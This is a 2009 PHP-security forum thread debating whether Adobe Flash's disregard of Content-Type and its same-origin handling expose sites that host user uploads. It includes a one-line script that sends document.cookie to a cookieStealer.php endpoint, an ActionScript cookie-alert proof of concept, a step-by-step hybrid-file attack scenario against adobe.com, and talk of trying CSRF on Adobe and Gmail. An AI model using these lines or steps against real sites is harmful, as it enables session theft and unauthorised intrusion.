Adobe is not willing to fix Flash security issues.

Discussions of secure PHP coding. Security in software is important, so don't be afraid to ask. And when answering: be anal. Nitpick. No security vulnerability is too small.

Moderator: General Moderators

Adobe is not willing to fix Flash security issues.

Postby kaisellgren » Mon Nov 23, 2009 5:28 am

There has been some talk on Devnet about file uploading security while ago. Despite of the common LFI and other file upload related issues, the fact that you are allowing arbitrary file uploads (and not serving them as "attachments") makes you vulnerable to "cross-domain" attacks.

Fundamentally, one should serve user uploaded files through an entirely different domain. However, this is not very simple approach to take, especially if you are just writing software for people to use (and not deciding how the software will be used). The simplest way to be somewhat secure, would be to serve the file contents with appropriate HTTP headers. However, Adobe Flash does something interesting. It does not obey the Content-Type. It does not care about file extension. It does not care about file contents and as long as it contains valid Flash code to run, it will be run. To make matters worse, if I embed the uploaded file (let's call it angel.jpg) into my website, and someone visits the page, the Flash will run in the context of the original website as well as in the context of my website. That's just horrible. I don't need to get the uploaded Flash files to run on your server, I just need to run it on my server.

Adobe Flash suffers from two types of serious problems:
- There's no way for you to serve files that contain valid Flash code to not run in Flash Player except for Content-Disposal header (which forces the browser to download the file or reject at once).
- A Flash program in a.com embedded on b.com will run in the context of both sites.

Adobe has said their opinions on this at loud: http://blogs.adobe.com/asset/2009/11/fl ... e-ori.html

Their answer simplified: we are not going to fix the problems, because we think developers should fix the problems.

Sure, we could buy an additional domain for user uploaded files, but how's that really going to happen in this world where developers are barely able to fix XSS and SQLi vulnerabilities alone? And as for the same origin policy, there's nothing developers can do about it.

They are just stating that if you allow users to upload content on your site, you must be trusting the content, otherwise, you can't upload it there. I can understand their thoughts on this, but it's like saying blog comments must be placed on an entirely different domain, because you can't trust them. They are missing the point. We can filter our blog comments, and they can obey Content-Types. If they would, we could serve uploaded photos as photos, regardless of whether they actually render on the browser as a picture or as a red cross.

Sun did the right thing - Java has been obeying Content-Types ever since the version 6. I have no idea about SilverLight, I hope Microsoft is following Sun.
User avatar
kaisellgren
DevNet Resident
 
Posts: 1675
Joined: Sat Jan 07, 2006 6:52 am
Location: Lahti, Finland.

Re: Adobe is not willing to fix Flash security issues.

Postby John Cartwright » Mon Nov 23, 2009 5:53 am

Kudos for bringing this to light.

Macromedia/Adobe Flash entities have always been a security nightmare and would never touch it with a 10 foot poll. On top of the fact that it relies on users having the correct flash player installed locally, I've never run into a scenario without possible alternatives to flash (ok.. maybe a multi select file upload :banghead: ). It just makes me cringe.

After reading their blog entry on the matter, it just reinforces my hatred for flash.

Woohoo 6am maybe it's time for sleep
Code: Select all
if ($toBe || $notToBe) echo 'That is the question'; 

NEW HERE?: Please read the Forum Rules, and take the Forum Tour before posting!
User avatar
John Cartwright
Site Admin
 
Posts: 11470
Joined: Tue Dec 23, 2003 3:10 am
Location: Toronto

Re: Adobe is not willing to fix Flash security issues.

Postby josh » Wed Nov 25, 2009 1:44 am

I remember when newgrounds.com had the problem and solved it like 6 years ago, its not news and its not a security vulnerability.

Javascript is worse in this regard. If you include google's adsense code for example, you open yourself to google running arbitrary code, getting at cookies, etc... Even when they are on different domains.

The flash player does not pose this risk, assuming they are hosted on different domains. It's as simple as registering mydomain-userfiles.com or something like that and only serving the files off that domain.

If you let people upload .html pages to your site, you would run the same risks of people uploading malicious code with it.

It would have been unwise for them to limit functionality, just because a few webmasters might put themselves at risk. I mean that argument can be construed to argue that any technology should not exist
josh
DevNet Master
 
Posts: 4872
Joined: Wed Feb 11, 2004 4:23 pm
Location: Palm beach, Florida

Re: Adobe is not willing to fix Flash security issues.

Postby kaisellgren » Wed Nov 25, 2009 4:23 am

josh wrote:Javascript is worse in this regard. If you include google's adsense code for example, you open yourself to google running arbitrary code, getting at cookies, etc... Even when they are on different domains.

That's how it should happen as you are trusting the content and explicitly executing it, but with Flash it becomes a problem because

josh wrote:The flash player does not pose this risk, assuming they are hosted on different domains. It's as simple as registering mydomain-userfiles.com or something like that and only serving the files off that domain.

Then why does Adobe store files on api.photoshop.com and allow *.photoshop.com in their crossdomain.xml? And what about arbitrary files on bugs.adobe.com that has the access to adobe.com, photoshop.com, acrobat.com through crossdomain policies? You can XSS attack adobe.com right now if the victim has the Flash player.

If developers serve data as image/png, they would not expect it to be possible to run Flash, but suddenly if you serve Content-Disposal, everything is safe.

Maybe the word vulnerability is not right, but the word threat is certainly appropriate. And as we know,

josh wrote:If you let people upload .html pages to your site, you would run the same risks of people uploading malicious code with it.

I can allow you to upload .html files (with the same extension), without content validation on the same domain name without being vulnerable. It's because web browsers do not have the same policies as what Flash has. Note, this is about serving files, not executing them. If you execute user uploaded swf, that's entirely different topic.

josh wrote:It would have been unwise for them to limit functionality, just because a few webmasters might put themselves at risk.

I don't see how honoring Content-Type can restrict an application. They could run Flash for Flash and empty Content-Types, but not for zip, audio, video, images, ...

And guess where adobe.com keeps their forum avatars. It's not just a few webmasters who are in danger, it's the web. Fortunately Microsoft and Sun seems to take care of this.
User avatar
kaisellgren
DevNet Resident
 
Posts: 1675
Joined: Sat Jan 07, 2006 6:52 am
Location: Lahti, Finland.

Re: Adobe is not willing to fix Flash security issues.

Postby josh » Wed Nov 25, 2009 5:11 am

kaisellgren wrote:Then why does Adobe store files on api.photoshop.com and allow *.photoshop.com in their crossdomain.xml? And what about arbitrary files on bugs.adobe.com that has the access to adobe.com, photoshop.com, acrobat.com through crossdomain policies? You can XSS attack adobe.com right now if the victim has the Flash player.

Are you referring to if someone uploaded a .swf as an attachment to a bug report and a developer clicked on it, the server returned an attachment content disposition header and the user clicked "open with flash player"? Because I'm pretty sure in that kind of situation the swf would execute locally, and not within the context of the domain it was originally downloaded from. (and thus the request would not be the same domain, no hacks).

Downloading and running a .swf is the same thing as if you compiled the .swf on your own machine.

I can allow you to upload .html files (with the same extension), without content validation on the same domain name without being vulnerable


So you would feel safe hosting this script for me?

Syntax: [ Download ] [ Hide ]
<script type="javascript">$.load( 'http://example.com/cookieStealer.php?cookie=' + $(document).cookie );</script>


don't see how honoring Content-Type can restrict an application

not what I was referring to. I mean adobe should continue to allow me to make requests from my flash applets to other urls on the same domain (and I will worry about what flash applets to trust on what domains). How else would I make a remote call? Besides it is a browser setting that chooses what to do with a content-type, not adobe.
josh
DevNet Master
 
Posts: 4872
Joined: Wed Feb 11, 2004 4:23 pm
Location: Palm beach, Florida

Re: Adobe is not willing to fix Flash security issues.

Postby kaisellgren » Wed Nov 25, 2009 5:19 am

josh wrote:Are you referring to if someone uploaded a .swf as an attachment to a bug report and a developer clicked on it, the server returned an attachment content disposition header and the user clicked "open with flash player"? Because I'm pretty sure in that kind of situation the swf would execute locally (and thus the request would not be the same domain, no hacks)

Nope. See this scenario:
1) User uploads a validly rendering JPG file to bugs.adobe.com to display the bug his facing.
2) This user sets up a page on cracker.com that embeds a Flash file which is this JPG file.
3) The user asks someone from adobe.com (preferably some high level admins) to visit his web page for any reason he is able to make.
4) The embedded file on cracker.com will load and run in the context of adobe.com, regardless of the fact that adobe.com tells you it's image/jpg and has .jpg extension as well as valid JPG content.
5) The user can now run JavaScript (for instance) in the context of adobe.com through ActionScript.

josh wrote:So you would feel safe hosting this script for me?

Syntax: [ Download ] [ Hide ]
<script type="javascript">$.load( 'http://example.com/cookieStealer.php?cookie=' + $(document).cookie );</script>

As long as the contents are served through a proxy script, yes.

EDIT:
josh wrote:not what I was referring to. I mean adobe should continue to allow me to make requests from my flash applets to other urls on the same domain (and I will worry about what flash applets to trust on what domains). How else would I make a remote call? Besides it is a browser setting that chooses what to do with a content-type, not adobe.

Cross-domain policies if implemented correctly are ok. However, it is not the browser who decides when to run Flash and when not to. It's the Flash. When the plugin sees Flash code to run, it will run it, even when you tell the browser its an image with a content type. It's because of the way the Flash plugins are built. A browser can't implement the plugin so that the browser can just disable the plugin when it sees some specific content types. Adobe has to make the change, or the browser has to disable the plugin. The plugin requires a high level of access. Browser plugins can do a lot of things, without asking anything from the browser. The plugin tells the browser "I'm gonna take care of this image/jpg". That's how NPAPI works. You may never enable or install plugins you can't trust on, that's why I have Flash disabled by default with Flash block.
User avatar
kaisellgren
DevNet Resident
 
Posts: 1675
Joined: Sat Jan 07, 2006 6:52 am
Location: Lahti, Finland.

Re: Adobe is not willing to fix Flash security issues.

Postby josh » Wed Nov 25, 2009 6:19 am

The file has to be hosted on the same domain before it is able to make requests to uris on that same domain. Simply the act of embeding someones .swf does not give that .swf access to execute code on the parent page (contrary to how embedding someone's javascript would work)

Nope. See this scenario:
1) User uploads a validly rendering JPG file to bugs.adobe.com to display the bug his facing.
2) This user sets up a page on cracker.com that embeds a Flash file which is this JPG file.

A flash file which is a JPG file?

3) The user asks someone from adobe.com (preferably some high level admins) to visit his web page for any reason he is able to make.
4) The embedded file on cracker.com will load and run in the context of adobe.com, regardless of the fact that adobe.com tells you it's image/jpg and has .jpg extension as well as valid JPG content.

No it won't because it is hosted on cracker.com and not adobe.com

From your source:

When Flash content (SWF), as well as any other web content, is hosted on the same domain as the surrounding HTML[2], the same-origin policy defines a trust relationship between the two. Proposals have been made to have Flash content assume there is never any trust and therefore ask permission for each and every request that it makes. This would break all legitimate deployments of Flash content on the web and require all administrators to change their configurations in order to start supporting Flash again. It also would not solve the problem. Flash content is not the only content-type that can execute JavaScript when clicked on by a user

..snip..
The web has already widely deployed much better solutions. Sites solve the problem by hosting untrusted content on a different domain. If a site developer wants to host arbitrary uploaded content on a site and does not want SWF content to execute on their site, the SWF can be served with headers, which instruct Flash Player to treat the file as an attachment[2]*. Flash Player will acknowledge that request and present an Open/Save/Cancel dialogue to the user rather than render the content.


[1] & [2] shows you that as long as its not HOSTED on the same domain, or the file is only run as an attachment, it is not granted the "same origin trust".

And furthermore clicking "open" in almost every browser I can think of saves the file to the user's computer's temporary directory, and then executes the file using it's default file extension handler. In that context the file is not even hosted, so 'same origin policy' isn't even applicable.
Also did you read the #4 on This list?

The Same origin policy states javascript can execute requests if you host my malicious html page. http://code.google.com/p/browsersec/wik ... gin_policy
So by that definition Firefox, Opera, Google Chrome, IE, all have the same "issue" (and I say that facetiously) as Adobe.
josh
DevNet Master
 
Posts: 4872
Joined: Wed Feb 11, 2004 4:23 pm
Location: Palm beach, Florida

Re: Adobe is not willing to fix Flash security issues.

Postby kaisellgren » Wed Nov 25, 2009 7:10 am

JavaScript and web browsers use Same Origin Policy meaning that a JavaScript file on victim.com embedded in intruder.com will be run in the context of only intruder.com. If a HTML file on victim.com is embedded (iframed) in intruder.com, it will be run in the context of only victim.com. Everything is great so far. However, if a Flash file (may it be file.swf or file.zip, ...) on victim.com is embedded (<embed>) in intruder.com, it can execute ActionScript (+JavaScript via AS) in the context of both sites.

There's only one way to prevent this from happening, specifying Content-Disposal header:
the SWF can be served with headers, which instruct Flash Player to treat the file as an attachment

Just to be clear, you can't use Content-Disposal with (for example) forum avatars.

josh wrote:From your source:

Just to make sure, I am not agreeing with the source.

Sites solve the problem by hosting untrusted content on a different domain.

Sure. Adobe is providing good examples of that by not doing it anywhere on their servers.

josh wrote:And furthermore clicking "open" in almost every browser I can think of saves the file to the user's computer's temporary directory, and then executes the file using it's default file extension handler. In that context the file is not even hosted, so 'same origin policy' isn't even applicable.

There's no problem when you are serving files with Content-Disposal headers. That's not what this is about.

Flash does not use the Same Origin Policy that web browsers are known to use.

One can use system.security.loadPolicyFile() to load a custom cross-domain policy file that allows the access from intruder.com to victim.com.
User avatar
kaisellgren
DevNet Resident
 
Posts: 1675
Joined: Sat Jan 07, 2006 6:52 am
Location: Lahti, Finland.

Re: Adobe is not willing to fix Flash security issues.

Postby josh » Wed Nov 25, 2009 5:57 pm

There's only one way to prevent this from happening, specifying Content-Disposal header:

It's disposition. And the way to prevent it is to not allow users to upload .swf files and then embed the flash applet. In the same say a forum software should reject a 100MB jpeg as an avatar, it should reject a .swf

If your website specifically hosts user generated .swf content, ala newgrounds.com, you simply put the content on a different domain. I dont see what the problem is. Why don't you post how a vulnerability can actually be reproduced. I have 20 domains, tell me exactly what steps I can take to generate a proof of concept and you would be taken seriously by me as well as Adobe i would bet $ on that.

Most XSS attacks also put you at risk if you don't control what goes in an img src attribute, so that argument is moot as well. I would say its the browsers fault then not adobe's or javascript's. You also fail to provide an alternative solution for the majority of users who actually use the functionality legitimately. Adobe is not going to alienate millions of dollars in business just because a few web masters might be stupid and get their dog grooming site hacked
josh
DevNet Master
 
Posts: 4872
Joined: Wed Feb 11, 2004 4:23 pm
Location: Palm beach, Florida

Re: Adobe is not willing to fix Flash security issues.

Postby kaisellgren » Fri Nov 27, 2009 3:11 am

After 16 miles of marching, it's lovely to be back... and argue. ;)

It must be stated that this problem (or problems) are not new. They have been talked since 2008 in several conferences.

I found one free slide: http://www.slideshare.net/kuza55/same-o ... weaknesses

What is new that Adobe does not care (or underestimates the issues).

The two problems are:
1) Their Same Origin Policy is flawed.
2) Flash does not respect Content-Type headers.

Sun Java and Microsoft Silverlight do both jobs properly. Silverlight seems to have been in the route ever since it was made, but Java had the same issue with Content-Type, which was finally fixed by Sun.

josh wrote:And the way to prevent it is to not allow users to upload .swf files and then embed the flash applet. In the same say a forum software should reject a 100MB jpeg as an avatar, it should reject a .swf

You can't know if a file upload is a valid Flash file. This has been proven so many times with all sorts of hybrid file attacks (the most known probably being GIFARs). Also, you can't control how an attacker embeds your files. You would need to do some complex black list filtering against all uploaded files. This was immediately doomed by all security experts around the world, and then Sun luckily took the responsibility of their flaws in Java.

josh wrote:If your website specifically hosts user generated .swf content

I'm talking about file uploading in general, not any specific file types. If it's easier to think about one file type, then let's say we have a site which accepts Zip files. The problem arise when you realize that one can create a hybrid file which is both a valid Zip and a Flash file. And the only way to serve the content is to send Content-Disposition headers in order to prevent Same Origin attacks. However, this is not always practical. You don't always want to force visitors to download files. (Well okay that's usually the case with Archive files :P)

josh wrote:Most XSS attacks also put you at risk if you don't control what goes in an img src attribute, so that argument is moot as well.

It should be noted that this isn't about XSS, although one can achieve with it through Same Origin ActionScript attacks via ExternalInterface. It should also be noted that a browser can't stop this unless it disables Flash entirely. Your web site cannot prevent this Same Origin attack, but can make it a no-problem by serving the files from a throwaway domain or use Content-Disposition (if possible).

Even if there's a way for web admins to implement a secure file upload system, it does not mean that Flash's Same Origin Policy or Content-Type dishonor is acceptable.

josh wrote:I would say its the browsers fault then not adobe's or javascript's.

Then what should web browsers do? Disable Flash?

josh wrote:You also fail to provide an alternative solution for the majority of users who actually use the functionality legitimately.

If Flash respected Content-Type, I don't see how it would change web applications at all unless you are serving .swf files with incorrect Content-Types like image/png which is just silly.

I've been talking about this with a few experts. This is becoming more widespread and there will be some news sooner or later.

Cheers, I gotta go to a forest camp. :|
User avatar
kaisellgren
DevNet Resident
 
Posts: 1675
Joined: Sat Jan 07, 2006 6:52 am
Location: Lahti, Finland.

Re: Adobe is not willing to fix Flash security issues.

Postby josh » Fri Nov 27, 2009 4:12 am

kaisellgren wrote:I'm talking about file uploading in general, not any specific file types. If it's easier to think about one file type, then let's say we have a site which accepts Zip files. The problem arise when you realize that one can create a hybrid file which is both a valid Zip and a Flash file. And the only way to serve the content is to send Content-Disposition headers in order to prevent Same Origin attacks. However, this is not always practical. You don't always want to force visitors to download files. (Well okay that's usually the case with Archive files :P)

So adobe's "security flaw" is that I might be stupid an embed a .zip file in an object tag? I really doubt there is any flaw unless you can produce example .zip files, example web server configuration that causes the flaw, etc...

kaisellgren wrote:2) Flash does not respect Content-Type headers.

Sun Java and Microsoft Silverlight do both jobs properly. Silverlight seems to have been in the route ever since it was made, but Java had the same issue with Content-Type, which was finally fixed by Sun.

"The same issue"? What issue? You keep stating that it is flawed but you still haven't provided an example flaw that doesn't involve the webmaster going out of his way to be stupid. I think you are either just confused, or you are spreading mis-information.

The flash Same origin policy spec seems to me to clearly state that it only applies when a .swf file is hosted on the same domain as the *html page* it is embedded in. If there is no embedding there is no same origin policy.

Your "security issue" hinges on the fact that I allow a user to upload and embed a .swf. That simply is not a security flaw in adobe. It would be a security flaw in YOUR code that allowed the user to do that. Saying this is a bug is like saying linux is insecure because I can be stupid and let users upload .sh scripts. I think you are intentionally spreading mis-information because of a design decision you didn't like. And yes I read your slide.
josh
DevNet Master
 
Posts: 4872
Joined: Wed Feb 11, 2004 4:23 pm
Location: Palm beach, Florida

Re: Adobe is not willing to fix Flash security issues.

Postby kaisellgren » Sun Nov 29, 2009 12:18 pm

Okay. There has been enough confusion already, so, let's try to put things simple.

There are two issues.

One issue is the fact that Adobe Flash is not respecting MIME types, and executes Flash regardless of file extensions, its content or MIME types.

The second issue is a flaw in their Same Origin Policy. From Adobe:

This policy basically states that two pieces of content hosted on the same domain and loaded by the same protocol trust each other. Conversely, two pieces of content hosted on different domains do not trust each other and cannot interact.

This is not how it really works. I put an SWF file on foo.com and a HTML file with JavaScript on bar.com, and I made them trust each other.

This is not about XSS. I'm not sure if one could achieve that or not (I'm not very experienced in Flash anyway).

However, these two issues have one immediate effect: making several sites vulnerable to CSRF and is also a confidentiality issue. I'm hopeful I can show a demo next week where I'm doing a CSRF against adobe.com and intercepting valuable information (if I can find any).

And the same thing applies to every website that allows file uploading, and does not put files on a separate untrusted domain. Adobe's solution to all of this is to hope developers place their files on a throw-away domains. That would be awesome if it happened. However, there are millions of websites including Devnetwork and Adobe that keep files on the same domain and are in a great risk to be vulnerable and most of them are.

I'm not even sure what kinds of attacks one could construct in addition to CSRF (which seems to be the simplest to do), but we must also not forget that this allows the intruder to intercept any data that you see on the target website. This is a confidentiality issue. To give you an example, if a website shows you a serial number (that I hope Adobe.com would do somewhere), I could read it.

Josh wrote:And yes I read your slide.

Apparently not. :)
User avatar
kaisellgren
DevNet Resident
 
Posts: 1675
Joined: Sat Jan 07, 2006 6:52 am
Location: Lahti, Finland.

Re: Adobe is not willing to fix Flash security issues.

Postby josh » Mon Nov 30, 2009 12:05 am

kaisellgren wrote:One issue is the fact that Adobe Flash is not respecting MIME types, and executes Flash regardless of file extensions, its content or MIME types.

Dude, THE issue is you keep coming up with "flaws" but you do not explain yourself or how this could be used as part of an attack.


This policy basically states that two pieces of content hosted on the same domain and loaded by the same protocol trust each other. Conversely, two pieces of content hosted on different domains do not trust each other and cannot interact.

This is not how it really works. I put an SWF file on foo.com and a HTML file with JavaScript on bar.com, and I made them trust each other.


Again, failure to fully explain the workings of this "flaw".

" I made them trust each " - No wonder Adobe has put you on ignore. You need to include details. Exactly how we can replicate this on our server(s) for ourselves (noone is going to take your word for it)

I am doubtful that what you *think* is a flaw, you have not tested out for real. I also have not tested out that there is no flaw, because millions of people test that every day at large. It is your burden to provide steps to replicate, if you are going to go spouting off on forums about security flaws.

I think a malicious swf+jpg file (if it were both), "embedded" in an <img src> would NOT get S.O.P. because there is no allowScriptAccess tag, and no crossdomain.xml present, your flaw is simply not a flaw without some sort of steps for us to replicate.
josh
DevNet Master
 
Posts: 4872
Joined: Wed Feb 11, 2004 4:23 pm
Location: Palm beach, Florida

Re: Adobe is not willing to fix Flash security issues.

Postby josh » Mon Nov 30, 2009 12:26 am

I loaded up flash. I put a button and put some AS
Syntax: [ Download ] [ Hide ]
 
function gotoAdobeSite(event:MouseEvent):void
{
var adobeURL:URLRequest = new URLRequest("javascript&#058;alert(document.cookie)");
navigateToURL(adobeURL);
}
mybutton.addEventListener(MouseEvent.CLICK, gotoAdobeSite);

I run in my browser locally over file:///. *immediately* I get "adobe flash player has stopped a potentially unsafe operation"

I upload to a webserver and it works (expected because there is embedding and it is same domain).
However If I craft an .html to simulate the .swf *accidentally* being used as an img src, I get a broken link, no flaw.

So what again is exactly the problem? You don't have to try to hack Adobe.com to explain yourself in simple terms (I can test on my machine for you so you don't run the risk of being extradited for attempted hacking :? )

Furthermore I found out the webmaster can not only safely allow users to upload jpegs, and swfs, he could even safely embed user uploaded .swf content if he sets an attribute on the embed tag 'allowScriptAccess','never'. If he does this SOP will NEVER apply, so basically your whole argument is hinged on the fact the webmaster sabotages his own site (which can happen with any web technology)


Ok so I was able to replicate a vulnerability

If I do <a href="Untitled-1.swf">click me for fun</a> and click it it runs the .swf in my browser and furthermore the javascript does run. So you were correct on that part but I think your points are extremely verbose, subjective and biased, you would get better response IMO if you just kept it simple, and stated simple steps someone could follow. Rather then focusing on the implications (which is just fear mongering), actually try telling them the real concern.

".swfs that are not embedded in an .html page still activate the same origin policy" would be an accurate bug report, and then possibly followed by some sample code to test with like I provided.

Adobe's proposed workaround of serving the header in this case, would be undesirable because how that would affect legitimate jpg uploading is "undefined".

It should still be stated that any possible attack would still hinge on one of two

1) webmaster allowing .swf to be uploaded and hosted on same domain
2) the feasibility of generating a maliscous .swf that is both a valid swf and a valid jpg, and then the website reading it as a jpeg, accepting it, and then the browser reading it as a swf (opposite of what the server read it as) and loading it in flash player, and it would also hinge on the fact flash player will gracefully ignore the jpeg "bits"

#2 is doubtable, without another proof of concept. #1 falls within "Webmaster being dumb" in my opinion.

My hat goes off to you for being passionate, but it is important to be objective and reasonable. Its certainly not hard to imagine someone allowing .swf to be uploaded without worrying about this. Kind of unnerving if I do say so.

I just tested Mantis (which allows users to upload swf). Looks like it forces the proper header and all is good. Here is the .swf you can use to test with:
Looks like devnet is safe-ish as well. "The extension swf is not allowed."

http://ne8.net/sop/Untitled-1.swf

Upon clicking the blue box the cookie will be alert'd, if SOP is activated. Download to your machine and upload to your favorite website to test. You said this should work on adobe.com? Can you make a screencast of that? That would be funny if it did. Irrefutable proof Adobe does not understand their own security model.
josh
DevNet Master
 
Posts: 4872
Joined: Wed Feb 11, 2004 4:23 pm
Location: Palm beach, Florida

Re: Adobe is not willing to fix Flash security issues.

Postby kaisellgren » Mon Nov 30, 2009 1:43 am

josh wrote:You said this should work on adobe.com? Can you make a screencast of that? That would be funny if it did. Irrefutable proof Adobe does not understand their own security model.

With this, I can achieve CSRF attacks against any Adobe website (may that be adobe.com, photoshop.com or whatsoever) and sniff content of any protected pages of a user (Information Leakage). I could construct an exploit and show you a screenshot, or a video (more convincing). I have the feeling that through this method I'm able to sniff emails on Gmail, too. I still have to play with that part though so I'm not sure about that.

Just hold your horses, things will be better understood soon. My time is pretty limited right now.
User avatar
kaisellgren
DevNet Resident
 
Posts: 1675
Joined: Sat Jan 07, 2006 6:52 am
Location: Lahti, Finland.

Next

Return to PHP - Security

Who is online

Users browsing this forum: No registered users and 4 guests